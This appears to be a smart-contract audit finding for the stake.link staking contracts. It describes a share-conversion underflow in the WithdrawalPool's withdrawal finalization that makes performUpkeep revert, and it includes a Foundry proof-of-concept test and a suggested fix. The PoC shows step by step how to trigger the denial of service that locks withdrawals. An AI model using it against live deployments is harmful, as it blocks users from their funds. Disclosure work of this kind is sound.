When a user performs a withdrawal, if there is not enough queuedDeposit and if the flag _shouldQueueWithdrawal is set to true, the queueWithdrawal function of the WithdrawalPool is called, as we can see here in the _withdraw(L-677) function of the PriorityPool:
In order to convert the amount into shares and queue the withdrawal, as we can see in the queueWithdrawal (L-302) function in the WithdrawPool contract:
After that, someone or Chainlink automation calls performUpKeep to execute the withdrawal if there is a withdrawable amount. This function calls executeQueuedWithdrawals(L-520) of the PriorityPool that withdraws from the StakingPool and sends the funds to the WithdrawPool before finalizing the withdrawal.
A problem can occur because, in order to compute the amount to withdraw from the withdraw pool, it converts the total queue into stake amount. As we can see here in the performUpKeep(L-348) function in the WitdrawPool function :
If some rewards have been earned or someone send tokens to the startegies between the withdrawal and the execution of the withdrawal, the amount is taken into account in the totalStaked and increase the value of the shares. This means that when it is converted into stake amount, it will be a higher amount than originally, and when it finalizes the withdrawal, it will subtract the amount of shares withdrawn from the totalQueued as we can see in the _finalizeWithdrawals(L-422) :
it can lead to an underflow because the amount of shares will be higher than the original amount.
Let imagine that a user deposit 12 link tokens tha amount is deposited and after that the user withdraw 11 link tokens if an amount 52 token are earned as rewards. then the call of the performUpKeep will revert because of the underflow.
In order to run the POC You have to follow some basic steps before to add foundry to the project :
pragma solidity ^0.8.0;
import {Test, console2, console} from "forge-std/Test.sol";
import "contracts/core/lstRewardsSplitter/LSTRewardsSplitter.sol";
import "contracts/core/tokens/base/ERC677.sol";
import "contracts/core/tokens/StakingAllowance.sol";
import "contracts/core/tokens/LPLMigration.sol";
import "contracts/core/lstRewardsSplitter/LSTRewardsSplitterController.sol";
import "contracts/core/priorityPool/PriorityPool.sol";
import "contracts/core/priorityPool/WithdrawalPool.sol";
import "contracts/linkStaking/CommunityVault.sol";
import "contracts/linkStaking/CommunityVCS.sol";
import "contracts/linkStaking/FundFlowController.sol";
import "contracts/linkStaking/OperatorStakingPool.sol";
import "contracts/linkStaking/OperatorVault.sol";
import "contracts/linkStaking/OperatorVCS.sol";
import "contracts/core/StakingPool.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "contracts/core/test/StrategyMock.sol";
import "contracts/core/test/SDLPoolMock.sol";
import "contracts/linkStaking/test/StakingMock.sol";
import "contracts/linkStaking/test/StakingRewardsMock.sol";
import "contracts/linkStaking/test/PFAlertsControllerMock.sol";
contract StakeLinkPOC is Test {
address constant USER1 = address(0x10000);
address constant USER2 = address(0x20000);
address constant USER3 = address(0x30000);
address[] internal users;
address sender;
event LogBytes(string, bytes);
event LogUint256(string, uint256);
event LogInt256(string, int256);
ERC677 linkToken;
ERC677 lplToken;
LSTRewardsSplitter lstRewardsSplitter;
LSTRewardsSplitterController lstRewardsSplitterController;
PriorityPool priorityPool;
WithdrawalPool withdrawalPool;
CommunityVault communityVault;
CommunityVCS communityVCS;
FundFlowController fundFlowController;
OperatorStakingPool operatorStakingPool;
OperatorVault operatorVault;
OperatorVCS operatorVCS;
StakingPool stakingPool;
SDLPoolMock sdlPool;
StakingMock stakingMock;
StakingRewardsMock stakingRewardsMock;
VaultDepositController vaultDepositController;
PFAlertsControllerMock pfAlertsControllerMock;
address owner = vm.addr(5678);
address operator = vm.addr(1234);
address distributionOracle = vm.addr(4321);
address rebaseController = vm.addr(8765);
address feeReceiver1 = vm.addr(1111);
address feeReceiver2 = vm.addr(2222);
function setup() internal {
users.push(USER1);
users.push(USER2);
users.push(USER3);
lplToken = new ERC677("LinkPool", "LPL", 100000000e18);
linkToken = new ERC677("Chainlink", "LINK", 400000000e18 + 1000);
StakingPool stakingPoolImpl = new StakingPool();
TransparentUpgradeableProxy stakingPoolProxy =
new TransparentUpgradeableProxy(address(stakingPoolImpl), operator, "");
stakingPool = StakingPool(address(stakingPoolProxy));
StakingPool.Fee[] memory fees = new StakingPool.Fee[]();
fees[0].receiver = feeReceiver1;
fees[0].basisPoints = 1000;
fees[1].receiver = feeReceiver2;
fees[1].basisPoints = 1000;
vm.prank(owner);
stakingPool.initialize(address(linkToken), "Staked LINK", "stLINK", fees, 10000e18);
stakingRewardsMock = new StakingRewardsMock(address(linkToken));
stakingMock = new StakingMock(
address(linkToken), address(stakingRewardsMock), 10e18, 100e18, 1000e18, 28 * 86400, 7 * 86400
);
vaultDepositController = new VaultDepositController();
OperatorVault operatorVaultImpl = new OperatorVault();
OperatorVCS strategyimpl = new OperatorVCS();
TransparentUpgradeableProxy strategyOpProxy =
new TransparentUpgradeableProxy(address(strategyimpl), operator, "");
operatorVCS = OperatorVCS(address(strategyOpProxy));
pfAlertsControllerMock = new PFAlertsControllerMock(address(linkToken));
Fee[] memory feesOperator= new Fee[]();
feesOperator[0].receiver = feeReceiver1;
feesOperator[0].basisPoints = 1000;
feesOperator[1].receiver = feeReceiver2;
feesOperator[1].basisPoints = 1000;
vm.prank(owner);
operatorVCS.initialize(
address(linkToken),
address(stakingPool),
address(stakingMock),
address(operatorVaultImpl),
feesOperator,
9000,
100e18,
1000,
address(vaultDepositController)
);
CommunityVault communityVaultImpl = new CommunityVault();
CommunityVCS strategyImplCom = new CommunityVCS();
TransparentUpgradeableProxy strategyCommProxy =
new TransparentUpgradeableProxy(address(strategyImplCom), operator, "");
communityVCS = CommunityVCS(address(strategyCommProxy));
vm.prank(owner);
communityVCS.initialize(
address(linkToken),
address(stakingPool),
address(stakingMock),
address(communityVaultImpl),
feesOperator,
9000,
100e18,
10,
20,
address(vaultDepositController)
);
FundFlowController fundFlowControllerimpl = new FundFlowController();
TransparentUpgradeableProxy fundFlowControllerProxy =
new TransparentUpgradeableProxy(address(fundFlowControllerimpl), operator, "");
fundFlowController = FundFlowController(address(fundFlowControllerProxy));
vm.prank(owner);
fundFlowController.initialize(address(operatorVCS), address(communityVCS), 28 * 86400, 7 * 86400, 5);
vm.prank(owner);
communityVCS.setFundFlowController(address(fundFlowController));
vm.prank(owner);
operatorVCS.setFundFlowController(address(fundFlowController));
sdlPool = new SDLPoolMock();
PriorityPool priorityPoolImpl = new PriorityPool();
TransparentUpgradeableProxy priorityPoolProxy =
new TransparentUpgradeableProxy(address(priorityPoolImpl), operator, "");
priorityPool = PriorityPool(address(priorityPoolProxy));
vm.prank(owner);
priorityPool.initialize(address(linkToken), address(stakingPool), address(sdlPool), 100e18, 10000e18);
WithdrawalPool withdrawalPoolImpl = new WithdrawalPool();
TransparentUpgradeableProxy withdrawalPoolProxy =
new TransparentUpgradeableProxy(address(withdrawalPoolImpl), operator, "");
withdrawalPool = WithdrawalPool(address(withdrawalPoolProxy));
vm.prank(owner);
withdrawalPool.initialize(address(linkToken), address(stakingPool), address(priorityPool), 10e18, 10);
vm.prank(owner);
stakingPool.addStrategy(address(operatorVCS));
vm.prank(owner);
stakingPool.addStrategy(address(communityVCS));
vm.prank(owner);
stakingPool.setPriorityPool(address(priorityPool));
vm.prank(owner);
stakingPool.setRebaseController(rebaseController);
vm.prank(owner);
priorityPool.setDistributionOracle(distributionOracle);
vm.prank(owner);
priorityPool.setWithdrawalPool(address(withdrawalPool));
for (uint256 i = 0; i < users.length; i++) {
linkToken.transfer(users[i], 100000000e18);
vm.prank(users[i]);
linkToken.approve(address(priorityPool), 100000000e18);
vm.prank(owner);
operatorVCS.addVault(users[i], users[i], address(pfAlertsControllerMock));
}
linkToken.approve(address(priorityPool), 1000);
bytes[] memory data = new bytes[]();
uint64[] memory vaults = new uint64[]();
data[0] = abi.encode(vaults);
priorityPool.deposit(1000, false, data);
vm.label(address(priorityPool), "PriorityPool");
vm.label(address(stakingPool), "StakingPool");
vm.label(address(withdrawalPool), "WithdrawalPool");
vm.label(address(operatorVCS), "OperatorVCS");
vm.label(address(communityVCS), "CommunityVCS");
vm.label(address(this), "CryticTester");
}
function setUp() public {
vm.warp(1524785992);
setup();
}
function test_executWithdrawDOS() public {
vm.warp(block.timestamp+11);
bytes[] memory data = new bytes[]();
data = fundFlowController.getDepositData(1.209e19);
vm.startPrank(USER1);
priorityPool.deposit(1.209e19 , false,data);
bytes32[] memory _merkleProof = new bytes32[]();
stakingPool.approve(address(priorityPool), 1.115e19);
priorityPool.withdraw(
1.115e19, 0, 0, _merkleProof, false, true
);
vm.stopPrank();
uint256 rewardsChange =1.5795e20;
IVault[] memory vaultsIntern = operatorVCS.getVaults();
linkToken.transfer(address(stakingRewardsMock), rewardsChange);
uint256 totalRewards;
for (uint256 i = 0; i < vaultsIntern.length; i++) {
if (vaultsIntern[i].getPrincipalDeposits() == 0) continue;
stakingRewardsMock.setReward(address(vaultsIntern[i]), rewardsChange / vaultsIntern.length);
totalRewards += vaultsIntern[i].getRewards();
}
vaultsIntern = communityVCS.getVaults();
for (uint256 i = 0; i < vaultsIntern.length; i++) {
if (vaultsIntern[i].getPrincipalDeposits() == 0) continue;
stakingRewardsMock.setReward(address(vaultsIntern[i]), rewardsChange / vaultsIntern.length);
totalRewards += vaultsIntern[i].getRewards();
}
console2.log("totalRewards : %d", totalRewards/1e18);
uint256[] memory strategies = new uint256[]();
strategies[0] = 0;
strategies[1] = 1;
vm.prank(rebaseController);
stakingPool.updateStrategyRewards(strategies, abi.encode(0x0000000000000000000000000000000000000000000000028da2f660ba8e5731));
bytes[] memory data2 = new bytes[]();
uint256 toWithdraw = withdrawalPool.getTotalQueuedWithdrawals()
> priorityPool.canWithdraw(address(withdrawalPool), 0)
? priorityPool.canWithdraw(address(withdrawalPool), 0)
: withdrawalPool.getTotalQueuedWithdrawals();
data2 = fundFlowController.getWithdrawalData(toWithdraw);
vm.prank(USER1);
withdrawalPool.performUpkeep(abi.encode(data2));
}
}
you can run forge test --mt test_executWithdrawDOS.
It can create an imposibility to withdraw funds.
you can add an additional check to ensure that there is no underflow in the _finalizeWithdrawals function.